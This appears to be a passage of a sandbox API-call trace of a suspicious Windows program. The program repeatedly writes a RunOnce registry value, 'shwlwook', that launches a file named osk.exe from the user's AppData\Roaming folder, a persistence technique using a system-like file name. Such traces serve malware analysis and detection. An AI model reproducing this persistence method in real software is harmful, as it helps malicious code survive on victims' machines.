| out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0254.989] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0254.989] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0254.989] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62402b0 | out: ppvObject=0x62402b0*=0x0) returned 0x80004002 [0254.989] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x5 [0254.989] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x4 [0254.989] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0254.990] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x4 [0254.990] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62402c0) returned 0x0 [0254.991] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x3 [0254.991] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0254.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0254.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0254.992] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0254.992] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0254.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0254.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0254.992] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0254.992] RegCloseKey (hKey=0x14c) returned 0x0 [0254.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a48a16, dwHighDateTime=0x1d4f110)) [0254.992] GetTickCount () returned 0x3f0d9 [0254.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2a48a16, dwHighDateTime=0x1d4f110)) [0254.993] GetCurrentThreadId () returned 0xe38 [0254.993] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0254.993] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.000] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.000] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.000] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a6ec1a, dwHighDateTime=0x1d4f110)) [0255.001] GetTickCount () returned 0x3f0e9 [0255.001] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.001] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240310 | out: ppvObject=0x6240310*=0x0) returned 0x80004002 [0255.001] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x5 [0255.001] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.001] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x6 [0255.002] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a330) returned 0x0 [0255.002] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x5 [0255.002] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.002] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.002] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.002] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.002] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240330 | out: ppvObject=0x6240330*=0x0) returned 0x80004002 [0255.002] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x6 [0255.003] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x5 [0255.003] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.003] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x5 [0255.003] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240340) returned 0x0 [0255.004] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x4 [0255.004] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.005] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.005] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.005] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.005] RegCloseKey (hKey=0x14c) returned 0x0 [0255.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a6ec1a, dwHighDateTime=0x1d4f110)) [0255.006] GetTickCount () returned 0x3f0e9 [0255.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2a6ec1a, dwHighDateTime=0x1d4f110)) [0255.006] GetCurrentThreadId () returned 0xe38 [0255.006] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.006] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.017] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.017] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.017] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a94efc, dwHighDateTime=0x1d4f110)) [0255.018] GetTickCount () returned 0x3f0f8 [0255.018] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.018] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240390 | out: ppvObject=0x6240390*=0x0) returned 0x80004002 [0255.018] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x6 [0255.018] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.018] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x7 [0255.018] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a390) returned 0x0 [0255.019] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x6 [0255.019] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.019] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.019] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.019] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.019] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62403b0 | out: ppvObject=0x62403b0*=0x0) returned 0x80004002 [0255.019] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x7 [0255.019] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x6 [0255.020] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.020] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x6 [0255.020] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62403c0) returned 0x0 [0255.021] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x5 [0255.021] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.022] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.022] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.022] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.022] RegCloseKey (hKey=0x14c) returned 0x0 [0255.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2a94efc, dwHighDateTime=0x1d4f110)) [0255.022] GetTickCount () returned 0x3f0f8 [0255.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2a94efc, dwHighDateTime=0x1d4f110)) [0255.023] GetCurrentThreadId () returned 0xe38 [0255.023] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.023] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.025] NtdllDefWindowProc_W (hWnd=0x701f8, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0255.028] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.028] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.029] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.029] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.029] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.030] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.030] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.030] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.032] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.032] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.032] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.032] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.032] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.032] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.033] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.033] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.033] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.034] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: 